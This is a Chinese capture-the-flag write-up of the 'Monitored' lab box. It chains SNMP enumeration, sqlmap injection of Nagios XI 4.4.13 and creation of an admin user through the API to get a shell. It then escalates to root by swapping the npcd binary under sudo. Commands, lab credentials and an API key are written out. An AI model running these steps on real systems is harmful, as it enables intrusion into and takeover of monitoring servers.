snmp协议
Monitored
信息搜集
nmap扫描一下端口
1 | nmap -sV -sC -v --min-rate 1000 10.10.11.248 |
扫描结果如下
1 | PORT STATE SERVICE VERSION |
注意到80端口跳转到https://nagios.monitored.htb/
且无法访问,我们试试添加到/etc/hosts
成功访问
继续访问发现是登陆界面
然后就没有什么收获了,参考国外师傅wp是要进行 udp 扫描
1 | sudo nmap -sV -sC -v -sU 10.10.11.248 |
扫描结果如下
1 | PORT STATE SERVICE VERSION |
注意到161端口为snmp协议,我们先简单了解下两个概念
SNMP
SNMP是一种标准的网络管理协议,它允许管理员监控和管理网络设备,例如路由器、交换机、服务器等。它有三个版本分别是
1,c2,3
,主要区别在于操作类型和安全性。
管理信息库MIB
任何一个被管理的资源都表示成一个对象,称为被管理的对象。MIB是被管理对象的集合。它定义了被管理对象的一系列属性:对象的名称、对象的访问权限和对象的数据类型等。
MIB文件中的变量使用的名字取自ISO和ITU管理的对象标识符(object identifier)名字空间。它是一种分级树的结构。如下图所示,第一级有三个节点:ccitt、iso、iso-ccitt。低级的对象ID分别由相关组织分配。一个特定对象的标识符可通过由根到该对象的路径获得,一般网络设备取iso节点下的对象内容。
如名字空间ip结点下一个名字为ipInReceives的MIB变量被指派数字值3,那么该变量名为
1 | iso.org.dod.internet.mgmt.mib.ip.ipInReceives |
相应的数字表示(对象标识符OID,唯一标识一个MIB对象)为1.3.6.1.2.1.4.3
回到题目,用snmpwalk进行扫描
1 | snmpwalk -v 1 -c public 10.10.11.248 1.3.6.1.2.1.25 |
注:这里版本应该都能扫出来
public
为团体名,是一种简单的身份验证机制
1.3.6.1.2.1.25
为对象标识符OID(收集所有系统信息)
得到用户登录信息svc:XjH7VCehowpR1xZB
不过登陆失败
我们扫一下目录发现路径/nagios
,访问一下有登录框
成功登录
获得信息Nagios xi版本为4.4.13,找到相关漏洞
我们可以用sqlmap去注入数据库得到admin的api信息 参考文章
当然在文章中我们注意到成功需要知道cookie值
我们通过对/nagiosxi
不断深度扫描,最终得到下面路径
1 | https://nagios.monitored.htb/nagiosxi/api/v1/authenticate |
我们bp抓包修改下请求方式,提交参数为刚刚的用户和密码
得到token值a7eb754b64862d9a0943c405c4d4e2717eea9d51
因为这里的token值会变,所以在使用sqlmap的时候用curl命令去获得
1 | sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ks https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch --dbs |
得到admin的api后,添加用户
1 | curl -k "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=rev1ve&password=rev1ve&name=rev1ve&email=rev1ve@localhost&auth_level=admin" |
我们成功用rev1ve:rev1ve
登录
然后Configure -> Core Config Manager
找到Command,添加反弹shell命令
然后在Monitoring->Hosts->localhost
中Run一下调用shell
成功反弹shell
得到user的flag
尝试sudo提权
试试manage_services.sh
1 | sudo /usr/local/nagiosxi/scripts/manage_services.sh |
执行后提示需要有参数,随便加一个status
manage_services.sh
可以控制服务,注意到npcd文件可控,并且能够以root用户执行npcd服务的开启和关闭,因此可以在npcd服务中加入一段反弹shell来提权
我们先停止npcd服务
1 | sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd |
使用wget命令下载我们的npcd文件,赋予权限
1 | chmod +x npcd |
然后开启npcd
服务
1 | sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd |
成功提权拿到root的flag